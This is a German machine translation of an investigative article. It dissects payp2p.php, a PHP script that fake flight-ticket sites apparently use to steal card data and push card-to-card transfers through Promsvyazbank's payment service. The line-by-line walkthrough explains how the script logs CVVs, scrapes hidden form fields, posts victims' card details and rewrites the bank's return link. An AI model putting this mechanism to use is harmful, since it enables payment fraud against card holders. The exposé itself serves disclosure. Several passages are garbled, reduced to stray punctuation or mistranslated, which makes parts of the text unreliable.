Günstige Flüge ... Ein Netzwerk betrügerischer Websites, die Geld von Karten stehlen. Die zweite Untersuchung. Was hat die Promsvyazbank damit zu tun?



Vor ungefähr einem Monat veröffentlichte ich einen Artikel über Geektimes: „Günstige Flugtickets ... oder ein Netzwerk betrügerischer Websites, die Geld von Karten stehlen. Meine Untersuchung. " Die Veröffentlichung erhielt eine große Resonanz und eine unerwartete Fortsetzung ...

Ich möchte Sie an diejenigen erinnern, die den ersten Teil nicht gelesen haben. In einer auf realen Fällen basierenden Veröffentlichung wurden Schemata beschrieben, mit denen Betrüger Geld von Tickets von Flugticketkäufern stehlen, die rücksichtslos zu einer gefälschten Ticketverkaufsstelle gelangen wollten. Die Anzahl solcher betrügerischen Websites für den Verkauf von Flugtickets in RuNet liegt bei zehn und Hunderten (einschließlich geschlossener). Auf solchen Websites werden dem Benutzer zunächst echte Informationen zu Flügen angezeigt. Es wird vorgeschlagen, eine Bestellung aufzugeben und diese mit einer Kreditkarte zu bezahlen. Alles sieht wunderschön aus, bis Käufer von Flugtickets feststellen, dass sie kein Geld und keine Tickets mehr haben.

In allen festgestellten Fällen nutzen solche Websites die Dienste von Banken, um Geld von Karte zu Karte (P2P) zu überweisen, um Geld zu stehlen. Im ersten Teil wurde der Mechanismus, wie die Tinkov Bank-Seite für die Zahlung von Karte zu Karte getarnt und in betrügerische Websites eingebettet wird, damit der „Käufer“ nichts bemerkt, ausführlich beschrieben. Die Promsvyazbank wurde ebenfalls erwähnt - durch ihn wurde in der beschriebenen Geschichte Geld von der Karte des Opfers gestohlen. Und wenn es bei der TKS-Bank keine Fragen mehr gab, war im Fall der Promsvyazbank nicht klar, wie das Geld abgehoben wurde. Das Hauptskript, mit dem Geld gestohlen wurde, wurde auf der Serverseite ausgeführt, und ohne Quellcode konnte man nur annehmen, was es tat.

Und einer der Geektimes-Benutzer hat mich kontaktiert und das Skript payp2p.php gesendet, das kürzlich auf den meisten betrügerischen Websites für den Verkauf von Flugtickets verwendet wurde. Dieses Skript verwendet den Promsvyazbank-Dienst, um von Karte zu Karte zu übertragen. Und meiner Meinung nach hat die Promsvyazbank mit ihrem Service, der leicht zu täuschen war, zum Wachstum der Zahl der Internet-Betrüger beigetragen.

Es gibt wahrscheinlich andere ähnliche Banken, aber diese Veröffentlichung wird sich hauptsächlich mit der Promsvyazbank befassen.

Bevor wir mit der Analyse des Skripts selbst beginnen, wollen wir uns ansehen, wie die Zahlungsseite einer betrügerischen Website aussah und wie die Übersetzungsseite von einer Karte zu einer Promsvyazbank-Karte aussieht.

Es sah aus wie die Zahlungsseite auf betrügerischen Websites
Bei der Analyse des HTML-Codes dieser Zahlungsseite habe ich keine Teile der Seiten einer Bank gefunden, integrierte Iframes werden nicht verwendet, Skripte werden überhaupt nicht verwendet, und die Seite selbst ist sehr einfach und sieht nicht wie die Seite der Promsvyazbank aus. Die in das Formular eingegebenen Daten werden nicht durch Skripte, sondern durch in Browser integrierte Mechanismen überprüft - unter Verwendung der Attribute "Muster" und "Erforderlich" für Eingabe-Eingabefelder und für ausgewählte Dropdown-Listen. Das heißt, Sogar die im Browser auf dem lokalen Laufwerk gespeicherte Seite bleibt dann "betriebsbereit" und kann verwendet werden, um zu testen, wie die Kartendaten abgefangen werden. Eine ähnliche zuvor gespeicherte Seite wurde als Teil dieser Veröffentlichung verwendet, um die Funktionsweise des Skripts zu verstehen.

Tatsächlich ist diese Seite nur ein Formular zur Eingabe einer Kartennummer. Wenn das Formular bestätigt wurde, wird die Verarbeitung an das Programm payp2p.php übertragen.

<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">

Payp2p.php kann alles. Ihr Code war bisher für uns nicht verfügbar, da er auf der Serverseite ausgeführt wird. Aber wie ich bereits geschrieben habe, haben wir jetzt einen Code und wir werden alles wissen.

Nun wollen wir sehen, wie die Zahlungsseite auf der Website der Promsvyazbank von Karte zu Karte aussieht.

https://www.psbank.ru/Personal/eCommerce/Card2Card


Wie Sie sehen können, entspricht die Promsvyazbank-Seite überhaupt nicht der zuvor dargestellten Zahlungsseite. Auch die Anzahl der Eingabefelder für die Kartennummer stimmt nicht überein.

Schauen wir uns den HTML-Code der PSB-Seite an, um herauszufinden, wie es funktioniert. Alles, was wir wissen müssen, ist in diesen wenigen Zeilen:

<iframe name="card2card" src="https://3ds.payment.ru/P2P/card_form.html" height="100%" width="100%" frameborder="no" seamless scrolling="no">
</iframe>

Dieses Stück bedeutet, dass sich die reale Zahlungsseite auf einer anderen Domain befindet und das, was wir auf der Website der Promsvyazbank sehen, in einem „Fenster“ mit Iframe-Technologie angezeigt wird.

Ich frage mich, wem die Domain 3ds.payment.ru gehört.
Wir überprüfen die Whois-Datenbank.

3ds.payment.ru
IP 193.200.10.116
: PRSBM-NET
:
inetnum: 193.200.10.0 - 193.200.10.255
netname: PRSBM-NET
mnt-by: PROMSVYAZBANK-MNT

C online.payment.ru



Die Domain 3ds.payment.ru gehört ebenfalls zur Promsvyazbank. Wir werden uns an diese Domain erinnern, sie wird immer noch mehr als einmal in der Beschreibung zu finden sein.

Mal sehen, was die Seite ist, die die Promsvyazbank auf ihrer Website und möglicherweise auf einigen anderen Websites einbettet.

https://3ds.payment.ru/P2P/card_form.html


Dies ist eine echte Seite, die für Übertragungen von Karte zu Karte verwendet wird. Wie Sie sehen können, ist diese Seite randlos. Dies geschieht absichtlich, um das Einbauen anderer Sites zu vereinfachen.

Im HTML-Code dieser Seite interessiert uns dieser Teil:



Dies sind versteckte Eingabefelder zum Speichern von Serviceinformationen. Wir werden uns auch an diese Seite erinnern. Und wo es verwendet wird, wird später beschrieben.

Der Einführungsteil ist beendet. Fahren wir mit dem interessantesten Teil fort und sehen, wie das Skript payp2p.php funktioniert oder wie es funktioniert.

Das Skript ist einfach und erfordert keine gründlichen Kenntnisse der PHP-Programmiersprache, um es zu verstehen. Der Einfachheit halber habe ich es in Stücke zerbrochen. Links sind die Zeilennummern aufgeführt, auf die verwiesen werden kann. Das Skript ist in der Form, in der es empfangen wurde, völlig unverändert. Nach jedem Code werden eine Entschlüsselung und ein Beispiel für die Werte von Variablen während der Programmausführung angezeigt (d. H. Ähnlich wie beim Debuggen). An einigen Stellen ist übermäßiges Kommentieren möglich - dies geschieht, damit nicht programmierende Leser auch die Bedeutung des Programmcodes verstehen können.

Zum Testen benötigen wir ein Formular, in das Sie die Kartendaten eingeben müssen, mit denen die Zahlung erfolgen soll. Wir werden das zuvor gespeicherte Formular verwenden. Wie das Formular auf einer betrügerischen Website aussah, zeigt das Bild am Anfang des Artikels. Über das Formular wird weiter unten geschrieben. Geben Sie zum Testen die Kartennummer 1111.2222.3333.4444 ein.

Fangen wir an.



Zeile 3 - führt keine Befehle aus.
Zeile 4 - Eine separate Datei dbconfig.php wird geladen, in der die Parameter für die Verbindung zur MySQL-Datenbank gespeichert sind. Ein Screenshot des Codes dbconfig.php und seiner Analyse finden Sie unten.
Zeile 6 - Wir stellen eine Verbindung zum MySQL-Server her, in dessen Datenbank wir dann Daten über gestohlene Karten und vorgenommene Geldtransfers speichern. Diese Leitung stellt gleichzeitig eine Verbindung zum MySQL-Server her und beendet das Programm, wenn die Verbindung aus irgendeinem Grund fehlgeschlagen ist.
Zeile 11 - Wählen Sie die Codierung für die Arbeit mit der MySQL-Datenbank aus.
Zeile 13 - Wir haben früher eine Verbindung zum MySQL-Server hergestellt und wählen nun die Datenbank aus, mit der wir arbeiten möchten.

Das Skript payp2p.php beginnt seine Arbeit, nachdem ein betrogener Benutzer ein Formular auf einer Seite ausgefüllt hat, die einer regulären Online-Zahlungsseite ähnelt. Durch Klicken auf die Schaltfläche „Bezahlen“ im Formular erhält das Skript payp2p.php die im Formular eingegebenen Daten. Die Daten vom Formular zum Skript werden mit der POST-Methode übertragen.

Zeile 16 - Die im Formular auf der vorherigen Seite eingegebene Kreditkartennummer wird in der Variablen $ num gespeichert.
Zeile 17 - Der Monat / das Jahr der Gültigkeitsdauer der Karte wird in der Variablen $ date gespeichert.
Zeile 18 - Der CVV-Code der Karte wird in der Variablen $ cvv gespeichert.
Zeile 19 - In der Variablen $ code wird bei der Bestellung von Flugtickets früher ein bestimmter Code generiert. Dieser Code wird verwendet, damit der Benutzer seine Bestellung über einen speziellen Link anzeigen kann. Der gleiche Code wird zur Identifizierung der Bestellung verwendet (auf der Zahlungsseite, um den Zahlungsbetrag automatisch anzuzeigen; wenn er im "Verkaufsbuch" gespeichert ist, das von Betrügern geführt wird; dieser Code wird auch an das Zahlungsformular übertragen, wahrscheinlich als Überweisungskennung (mehr dazu weiter unten).
Zeilen 21-22 Eine Zeile wird gebildet - eine SQL-Abfrage, die dann ausgeführt wird. Die SQL-Abfrage fügt der Tabelle 'Karte' die Werte der Bestellkennung, den Betrag, die Gültigkeitsdauer der Karte, den CVV-Code der Karte und die genaue aktuelle Zeit hinzu. Ein Beispiel für einen Datensatz in der Datenbank finden Sie unten.

Beispiel für Debugging-Informationen


« » « ». , . .

"âáèâ" = '' ISO8859-1 =>Windows-1251
, . .

Wenden Sie sich vorübergehend der Datei dbconfig.php zu.



Hier sind die Parameter für die Verbindung zur Datenbank. Was interessant sein mag:

DBHOST — , MySQL ( MySQL , , )
DBNAME —
DBUSER — MySQL
DBPASS — MySQL
SECURE_AUTH_KEY — - . , , , . .



Zeile 28 - Eine aviacfg.php-Datei eines Drittanbieters ist verbunden. Dies ist eine Konfigurationsdatei, in der Empfängerkartennummern und andere Einstellungen gespeichert sind.
Zeile 29 - Aus den Kartennummern, die durch einen Zeilenumbruch in der Konfigurationsdatei getrennt sind, wird ein Array erstellt.
Zeile 30-31 - Der Variablen $ crd wird zufällig die Nummer einer der Karten zugewiesen.

Mal sehen, was wir in der Datei aviacfg.php haben



Hier sehen wir, dass die Variable $ aviacfg ein Array ist, das die Werte Rabatt (Rabatt) und Karten (Kartennummern, für die Auszahlungen erwartet werden) enthält. In diesem Beispiel gibt es nur eine Kartennummer, aber es kann eine beliebige Anzahl von ihnen geben. Der Name der Datei (aviacfg.php) und die Variable ($ aviacfg) selbst geben an, für welchen Bereich dieses Skript geschärft wurde. Der Rabattwert bestimmt den Prozentsatz der Preise auf einer betrügerischen Website, die billiger angezeigt werden, als sie tatsächlich auf einer „ehrlichen“ Website für Flugtickets verkauft werden. Der Inhaber einer betrügerischen Website kann den angezeigten Ticketpreis schnell günstiger machen. Je niedriger der angezeigte Preis ist, desto wahrscheinlicher ist es, dass einer der potenziellen Käufer das Risiko eingeht, Tickets auf einer unbekannten Website zu kaufen. Über den Rabatt wird es später einen Kommentar geben, wie er genau im Code implementiert ist.



Ferner werden der Überweisungsbetrag, die Nummer der Karte, auf die die Überweisung erfolgt, und der Code, der die Bestellung von Flugtickets auf einer betrügerischen Website identifiziert, in der MySQL-Datenbank gespeichert. Ein Beispiel für einen Datensatz in der Datenbank wird unten dargestellt.

Beispiel für Debugging-Informationen




Zeile 40 - Der Variablen $ p112 wird ein Wert mit der Kartennummer zugewiesen, die zuvor im Formular eingegeben wurde.
Zeilen 41-51 - Die Kartennummer ist in vierstellige Teile unterteilt.
Zeilen 53-57 - Die Länge der Kartennummer wird überprüft. Wenn in der Kartennummer die Anzahl der Zeichen von 16 oder 18 abweicht, erfolgt ein Exit. Eine Nachricht wird fünf Sekunden lang angezeigt und dann auf eine andere Seite umgeleitet. In diesem Beispiel erfolgt die Rückgabe an die Bestellseite auf der betrügerischen Website.
In Zeile 56 entspricht "Iaaa? Iua aaiiua ea? Ou" beim Konvertieren der Codierung ISO8859-1 => Windows-1251 dem Text: "Ungültige Kartendaten."
Zeilen 58-61 - Den Variablen $ p4, $ p5, $ p6, $ p11 werden die zuvor im Formular eingegebenen Werte zugewiesen (Ablaufdatum der Karte, CVV-Code, Zahlungsbetrag).
Zeile 63 - In der Variablen $ info werden alle Kartendaten und der Überweisungsbetrag gespeichert. Beim Formen werden Zeilenumbrüche "\ n" und Trennzeichen "### ..." verwendet. Diese Variable wird nirgendwo anders verwendet. Wenn Sie das Skript fertigstellen, können Sie Datensätze in einer normalen Textdatei speichern oder während des Debuggens anzeigen.

Beispiel für Debugging-Informationen




Zeilen 66-75 - Dies ist tatsächlich eine Verdoppelung des Zeilenblocks 27-36. Die Empfängerkarte wird erneut zufällig aus der Konfigurationsdatei aviacfg.php ausgewählt und in der Datenbanktabelle card_balance gespeichert. Daher werden in der Tabelle card_balance bei jedem Übertragungsversuch zwei Datensätze erstellt. Wenn in aviacfg.php nur eine Empfängerkarte verstopft ist, wird natürlich immer dieselbe Karte ausgewählt. In diesem Fall werden die Einträge in der Tabelle card_balance einfach dupliziert. Falls jedoch mehrere Kartennummern in aviacfg.php verstopft sind, sind die Ergebnisse bei Zufallsstichproben unterschiedlich und es gibt einen Datensatz in der Tabelle card_balance, der erste ist falsch und der zweite ist korrekt.

Dies ist ein Fehler, und Käufer des Skripts (es wird einen separaten Kommentar dazu geben) können den Entwickler auffordern, den moralischen Schaden zu kompensieren, der damit verbunden ist, dass echte Übersetzungen mindestens zweimal weniger sind als Protokolleinträge.

Beispiel für Debugging-Informationen


Beispiel für MySQL-Datenbankeinträge
. : «card» «card_balance». , .

, , — . .

«card».



«card_balance».


Bitte beachten Sie, dass im ersten Fall nur die Absenderkarten ohne Betrag, aber mit der genauen Zeit in der MySQL-Datenbanktabelle gespeichert werden und im zweiten Fall Daten über die vorgenommenen Übertragungen (genauer gesagt über die Übertragungsversuche) gespeichert werden. Die Kartennummer und der Betrag des Empfängers werden gespeichert, die Absenderdaten werden nicht in der zweiten Tabelle gespeichert. In beiden Fällen wird zusätzlich die „Bestellnummer“ gespeichert.

Der erste Teil des Skripts, der oben beschrieben wurde, kann willkürlich als "Eintrag im Verkaufsbuch für die Buchhaltung" bezeichnet werden. Sie hat keine Beziehung zum Geldtransfer. Um Geld zu überweisen, müssen Sie auf das Speichern von Daten in der Datenbank verzichten. Wir sehen jedoch, dass die Kartendaten gespeichert werden, was bedeutet, dass sie in Zukunft zusätzlich verwendet werden können, um Geld von Karten „im manuellen Modus“ zu stehlen. Kartendaten können verkauft oder verwendet werden, um beispielsweise für Werbung in Yandex.Direct zu bezahlen, wie im vorherigen Artikel gezeigt.

Der zweite Teil des Skripts bezieht sich auf die Überweisung von Geld über die Website der Promsvyazbank 3ds.payment.ru.



Zeile 78 des Kommentars gibt an, dass angenommen wird, dass die Bestätigungsseite für eine erfolgreiche Zahlung eine Adresse wie "/sus.php?cd=BX3FKT" hat. Bei Erfolg muss der Benutzer an diese Adresse zurückgeschickt werden.

Zeile 80-91 Um eine Übersetzung durchzuführen, müssen Sie zuerst die Serviceseite aufrufen.

https://3ds.payment.ru/cgi-bin/get_trans_cond_p2p.


Diese Seite zeigt ungefähr diese Zeile an:

{"ORDER_NUM":"20161027070425023400","TIMESTAMP":"20161027070425"}

"ORDER_NUM" ist ~ "Bestellnummer", "TIMESTAMP" ist der aktuelle Zeitstempel. Wenn die Seite aktualisiert wird, werden immer neue Daten ausgegeben.

Verwenden Sie den Befehl curl, um eine Webseite zu lesen oder Daten an eine Webseite zu senden. Mit Curl (cURL) können Sie mithilfe verschiedener Protokolle, einschließlich http und https, programmgesteuert eine Verbindung zu Webservern herstellen. In unserem Fall ist curl ein Software-Webbrowser, der Webseiten in Variablen speichern kann. Die in der Variablen gespeicherte Seite ist eine sehr lange Zeile mit dem HTML-Quellcode dieser Seite. Sie können mit solchen Zeichenfolgenvariablen wie mit jeder Zeichenfolge arbeiten - Sie können nach Text suchen, Text ersetzen usw. Curl in den beschriebenen Skripten wird mehrmals verwendet.

Zeile 80 - Die URL wird in der Variablen $ login_url gespeichert.
Zeile 81 - Die URL wird in der Variablen $ agent gespeichert.
Zeile 82 - Initialisiert die cURL-Sitzung.
Zeile 83-90 - Parameter werden für die Sitzung mit CURL festgelegt (Seitenadresse zuvor in $ login_url gespeichert; Browser-ID zuvor in $ agent gespeichert; Seite, von der die Seite umgeleitet oder anderweitig referenziert wird; REFERER; COOKIE-Einstellungen usw.)
Zeile 91 - Als Ergebnis des Befehls curl_exec wird programmgesteuert eine Webseite abgerufen, die in der Variablen $ page gespeichert wird.
Zeilen 93-95 Die gespeicherte Webseite $ page enthält ~ "Bestellnummer" ORDER_NUM, die in der Variablen $ ord gespeichert ist.
Zeilen 96-98 Die gespeicherte $ page-Webseite enthält den TIMESTAMP-Zeitstempel, der in der $ tim-Variablen gespeichert ist.

Beispiel für Debugging-Informationen




Jetzt muss ein "Software-Browser" zur Seite gehen https://3ds.payment.ru/P2P_ACTION/card_form.html. Dies ist dieselbe Zahlungsseite, von der oben ein Screenshot gezeigt wurde. Dies ist eine Seite mit einem Formular, dessen Servicefelder ausgeblendet sind. Ein Teil des HTML-Codes mit versteckten Eingabefeldern wurde oben gezeigt. Einige Werte dieser ausgeblendeten Felder müssen gespeichert werden, damit sie später beim Absenden des Formulars verwendet werden können.

Zeile 99 - Wir speichern die Seitenadresse in der Variablen $ url.
Zeile 100 - Die Parameter für die Sitzung mit URL werden festgelegt (in diesem Fall nur die Seitenadresse. Die restlichen Einstellungen bleiben unverändert).
Zeilen 101-102 Die zuvor verwendeten Variablen $ page und $ part werden gelöscht.
Zeile 103 - Als Ergebnis des Befehls curl_exec wird programmgesteuert eine Webseite abgerufen, die in der Variablen $ page gespeichert wird.
Zeilen 104-106 Die gespeicherte $ page-Webseite enthält den Wert des TERMINAL-Felds, das in der Variablen $ term gespeichert ist.
Zeilen 107-109 Die gespeicherte $ page-Webseite enthält den Wert des TRTYPE-Felds, das in der $ type-Variablen gespeichert ist.
Zeilen 110-112 Die gespeicherte $ page-Webseite enthält den Wert des MERCHANT-Felds, das in der $ Merch-Variablen gespeichert ist.
Zeilen 113-115 Die gespeicherte $ page-Webseite enthält den Wert des EMAIL-Felds, das in der $ ml-Variablen gespeichert ist.

Im Allgemeinen ändern sich diese Werte in der angegebenen Form nie. Und sie könnten im Code als Konstanten gespeichert und nicht jedes Mal empfangen werden. Das Abrufen der Werte dieser Felder erfolgt natürlich aus Sicherheitsgründen, falls sich eines oder mehrere Felder irgendwann in der Zukunft ändern.

Beschreibung einiger Felder. Eine vollständige Beschreibung aller Felder ist in Google leicht zu finden.

TERMINAL - Eindeutige Nummer des virtuellen Terminals der Verkaufsstelle
MERCH_NAME - Name der
Verkaufsstelle MERCHANT - Nummer der von der Bank zugewiesenen Verkaufsstelle TRTYPE -
Art der angeforderten Transaktion (Zahlung - 1, Stornierung - 22, Vorautorisierung - 0, Abschluss von Abrechnungen - 21)
E-Mail - E-Mail-Adresse Benachrichtigungen senden

Beispiel für Debugging-Informationen

, - . ($page)

E-MAIL hier, das ist ein epischer Fall. Wen kümmert es, zusätzliche Materialien zu dieser E-Mail am Ende des Artikels in der Anwendung unter dem Spoiler.



Hier sehen wir einen großen Block. Die Tatsache, dass es groß aussieht, erklärt sich aus der begrenzten Spaltenbreite in der Veröffentlichung und der praktischen Darstellung des Codes durch den Skriptautor. Das Gleiche könnte in 10 Codezeilen platziert werden, aber die Bequemlichkeit des Lesens und Bearbeitens des Codes würde darunter leiden.

Zeile 120 - Speichern Sie in der Variablen $ url die Adresse der Seite.
Zeile 121-123 - Legen Sie die Parameter für eine Sitzung mit URL fest.
Zeile 124 - Aus der Kartennummer des Empfängers in der Zeichenfolgenvariablen $ crd wird ein Array von $ ncrd erstellt, das Teile der Kartennummer enthält, die in vier geteilt sind.
Zeile 125 - HTTP-Header werden in der Array-Variablen $ headers gespeichert.
Zeile 126 - Parameter werden für die Sitzung mit CURL festgelegt (HTTP-Header aus der Variablen
$ headers . Zeilen 135-164 - Es wird ein $ postL-Array erstellt, dessen Wert dem Formularfeld auf der Zahlungsseite entspricht (Absendernummer, geteilt durch vier; Ablaufdatum der Absenderkarte) ; CVC-Karte des Absenders, Vier-Wege-Empfängerkartennummer, Ablaufdatum der Empfängerkarte, CVC-Karte des Empfängers, Zahlungsbetrag, Bestellnummer, Beschreibung der Bestätigungsseite, Terminalnummer, Name der Verkaufsstelle, E-Mail für Benachrichtigungen, Zeitstempel ; Absenderkartennummer nicht in Teile zerlegt; Empfängerkartennummer nicht in Teile zerlegt; Daten zu Software und Hardware „auf dem Computer des Absenders“, um das Erscheinungsbild eines echten Benutzers zu erzeugen, nicht eines Skripts).
Zeilen 135 - Parameter werden für die cURL-Sitzung festgelegt (Daten, die in der HTTP-POST-Anforderung übertragen wurden. In diesem Fall wird das $ postL-Array in eine Zeichenfolge konvertiert, bei der es sich um eine URL-codierte Zeichenfolge handelt 'p1=val1&p2=val2&...'. Die

im Screenshot klareren Daten werden mit den folgenden Debuginformationen deutlicher dargestellt.

Beispiel für Debugging-Informationen




Zeile 166 - Als Ergebnis des Befehls curl_exec werden die vorbereiteten Daten mit der POST-Methode an das Webseitenformular gesendet. Bei einer Webseite sieht eine solche Übermittlung genauso aus, als würde ein normaler Benutzer das Formular in einem normalen Browser ausfüllen und bestätigen. Die Seite mit dem Ergebnis des Sendens von Daten an das Formular wird in der Variablen $ page gespeichert.
Zeile 167 - Die cURL-Sitzung endet.
Zeile 168 - In der resultierenden Seite, die in der Variablen $ page gespeichert ist und, wie wir uns erinnern, eine lange Zeile ist, wird die Teilzeichenfolge "Fehler" durchsucht.
Zeilen 169-173 - Wenn die Teilzeichenfolge "Fehler" gefunden wird, wird 5 Sekunden lang die Fehlermeldung "Die Karte passt nicht" angezeigt. Anschließend wird das Skript beendet und die im Browser angezeigte Seite zur "Bestellseite" umgeleitet. Wenn der Benutzer hartnäckig ist, kann er erneut versuchen, den Zahlungsvorgang durchzuführen.

Angezeigte Seite im Fehlerfall.



Die Fehlerursachen, die von der Bank ausgegeben werden, können unterschiedlich sein (ein Fehler in der Kartennummer, unzureichendes Guthaben, ein Autorisierungsfehler und viele andere). Aber für das Skript payp2p.php gibt es keinen Unterschied. Sobald die Zahlung fehlgeschlagen ist, wird der Benutzer auf die Seite weitergeleitet, von der aus Sie den Zahlungsversuch wiederholen können. Die Seite, an die der Fehler zurückgegeben wird, kann je nach Aufgabe leicht geändert werden.

Beispiel HTML-Code, der im Fehlerfall von der Bankseite zurückgegeben wird
<!DOCTYPE html>

<head>
<base href="/">
<script src="/netcetera/netcetera.js"></script>
<script src="/riskminder-client.js"></script>
<script>
    function redirect(rctext, ext_diag_code){
	if (rctext == "Call your bank"){
		window.top.location = "http://www.psbank.ru/Card2Card/CallYourBank";
	} else if (rctext == "Your card is restricted"){
		window.top.location = "http://www.psbank.ru/Card2Card/ForbiddenTransaction";
	} else if (rctext == "Your card is disabled"){
		window.top.location = "http://www.psbank.ru/Card2Card/BlockedCard";
	} else if (rctext == "Invalid amount" || rctext == "Error in amount field" || rctext == "Wrong original amount"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectAmount";
	} else if (rctext == "Re-enter transaction"){
		window.top.location = "http://www.psbank.ru/Card2Card/Retry";
	} else if (rctext == "Expired card"){
		window.top.location = "http://www.psbank.ru/Card2Card/ExpiredCard";
	} else if (rctext == "Not sufficient funds"){
		window.top.location = "http://www.psbank.ru/Card2Card/InsufficientBalance";
	} else if (rctext == "Exceeds amount limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/AmountOverlimit";
	} else if (rctext == "Exceeds frequency limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/QuantityOverlimit";
	} else if (rctext == "Error in card number field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectNumber";
	} else if (rctext == "Error in card expiration date field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectExpiresDate";
	} else if (rctext == "Error in currency field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectCurrency";
	} else if (rctext == "Authentication failed" && ext_diag_code == "AS_FAIL"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectPassword";
	} else if (rctext == "Authentication failed" && (ext_diag_code == "NS_ATTEMPT" || ext_diag_code == "S_ATTEMPT" || ext_diag_code == "ATTEMPT" || ext_diag_code == "UNAVAIL")){
		window.top.location = "http://www.psbank.ru/Card2Card/3DSFailure";
	} else {
		window.top.location = "http://www.psbank.ru/Card2Card/TechReasons";
	}
   }
</script>
</head>
<body onload="netcetera_set_DID('');redirect('Authentication failed','BIN_ERROR')">
</body>
</html>


Ein Beispiel für das Debuggen von Informationen, wenn die Bank beim Bezahlen einen Fehler meldet


Zeile 174 - Wenn das Skript aufgrund eines Fehlers beim Bezahlen nicht zuvor beendet wurde, bedeutet dies, dass alles wie beabsichtigt verläuft. Auf der zuvor in der Variablen $ page gespeicherten Seite werden alle Teilzeichenfolgen mit der Adresse durch eine https://3ds.payment.ru/cgi-bin/cgi_linkZeichenfolge mit einer Adresse vom Typ mydomain.ru/sus.php?cd = ... ersetzt. Dies ist die Adresse der Seite auf der betrügerischen Site, die der Benutzer erhalten muss, wenn die Zahlung erfolgreich ist. (Auf einer solchen Seite kann dem Benutzer gedankt und informiert werden, dass elektronische Tickets per Post gesendet wurden). Nach dem Ersetzen der Teilzeichenfolge wird das Ergebnis in der Variablen $ pp gespeichert.

Zeile 175 - Die Variable $ pp wird im Browser angezeigt. Da die Variable $ pp eine Zeichenfolge mit dem vollständigen HTML-Code der Seite ist, wird dem Benutzer eine Seite angezeigt. Die angezeigte Seite unterscheidet sich äußerlich nicht von der ursprünglichen Seite, die die Bank angegeben hat. Der Unterschied besteht nur innerhalb des HTML-Codes an der Stelle, an der der Link ersetzt wurde.

Was ist diese Seite, die die Bank bei Eingabe der richtigen Kartennummer angibt und auf der das Skript einen Link zur erfolgreichen Zahlungsseite auf einer betrügerischen Website ersetzt? Und schließlich sollte es wahrscheinlich noch einen 3D Secure-Scheck von den sendenden Banken geben, der keine Zahlung zulässt? Der Code endete an der interessantesten Stelle und es gibt Zweifel, dass er ohne zusätzliche knifflige Skripte, Formulare usw. funktionieren kann.

. - . . .

Ich fahre meine Bankkartennummer in die Datei aviacfg.php. Ich werde versuchen, die Übertragung zu akzeptieren, wenn es natürlich klappt. Ich öffne die zuvor auf der Festplatte gespeicherte Formularseite. Dieses Formular wurde einfach im Browser gespeichert, als eine der betrügerischen Websites besucht wurde, die zum Zeitpunkt des Schreibens des ersten Teils der Veröffentlichung noch funktionierten. Das Formular wurde bereits mit der Summe von 2915 Rubel gespeichert, aber zum Testen ist es zu viel. Lass es uns ändern. In jeder Form gibt es sichtbare und versteckte Felder. Versteckte Felder (Eingabe, Auswahl) unterscheiden sich nicht von normalen Feldern, außer dass sie nicht sichtbar sind. In solchen Feldern werden Dienstinformationen gespeichert, die der Benutzer nicht sehen muss. Eingabefelder werden auf zwei Arten ausgeblendet.

  • CSS ( display:none). , (input), , ( DIV) input.
  • — , type=«hidden». type=«text».

In unserem Fall werden die Formularfelder mit type = "hidden" ausgeblendet.

Wir drücken im Browser F12 (Webentwicklungsmodus). Suchen Sie die richtige Stelle im HTML-Code und ändern Sie den Texttyp = "versteckt" in Typ = "Text" für zwei oder mehr Eingabeelemente. Jetzt sehen wir die Felder, in denen die Summe und der Servicecode (Code) gespeichert sind. Reduzieren Sie die Menge von 2915rub auf 20rub. Geben Sie nun die Daten Ihrer zweiten Bankkarte in das Formular ein. Geld sollte von dieser Karte abgebucht werden, wenn eine Überweisung möglich ist.



Wir bestätigen das Formular durch Klicken auf die Schaltfläche "Bezahlen". Nach dem Klicken auf die Schaltfläche wird das Skript payp2p.php gestartet, das die in das Formular eingegebenen Daten empfängt.

Zu meiner Überraschung sah ich nach Eingabe der realen Kartennummer und Klicken auf die Schaltfläche "Bezahlen" im Testformular die Sberbank-Seite (die Bank, von der die Überweisung erfolgt) auf dem Bildschirm und forderte mich auf, den 3D Secure-Bestätigungscode einzugeben.



Auch auf meinem Handy erhielt ich von der Sberbank eine SMS mit einem Code.



Vor dem Testen mit einer gültigen Kreditkarte ging ich davon aus, dass der 3D Secure-Code zur Bestätigung auf irgendeine Weise in den Benutzer „ausgetrickst“ und dann programmgesteuert verdeckt auf dieses Formular übertragen werden muss. Es stellte sich jedoch heraus, dass alles viel einfacher war. Nachdem die Daten für die Übertragung von Karte zu Karte an die Promsvyazbank-Website gesendet wurden, zeigt der Browser die Form der kartenausgebenden Bank an, von der die Überweisung erfolgt. In meinem Fall ist dies die Sberbank. Diese Form muss nicht einmal gefälscht werden. Das Bestätigungsformular wird auf der HTTPS-Website der Sberbank angezeigt. Opfer von Betrügern selbst geben direkt in dieses ihnen vertraute Formular einen Bestätigungscode ein. Wenn danach die Überweisung erfolgreich ist, wird das Geld belastet. Obwohl es theoretisch möglich ist, gegen eine solche Überweisung zu protestieren, ist es weit davon entfernt, dass das Geld zurückgegeben wird.Die Wahrscheinlichkeit einer Rückerstattung wird von vielen Faktoren beeinflusst, einschließlich der Frage, wie schnell sich das „Opfer“ bei seiner Bank bewerben wird.

HTML-Code der Seite, die Sberbank ausgibt, um 3D Secure unter dem Spoiler zu bestätigen. Der Code wurde während des Tests erhalten, indem die Variable $ page in eine Textdatei geschrieben wurde. Zeile 166 des Skripts payp2p.php.

Sicherer 3D-HTML-Seitencode vor dem Ersetzen der Zeile
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
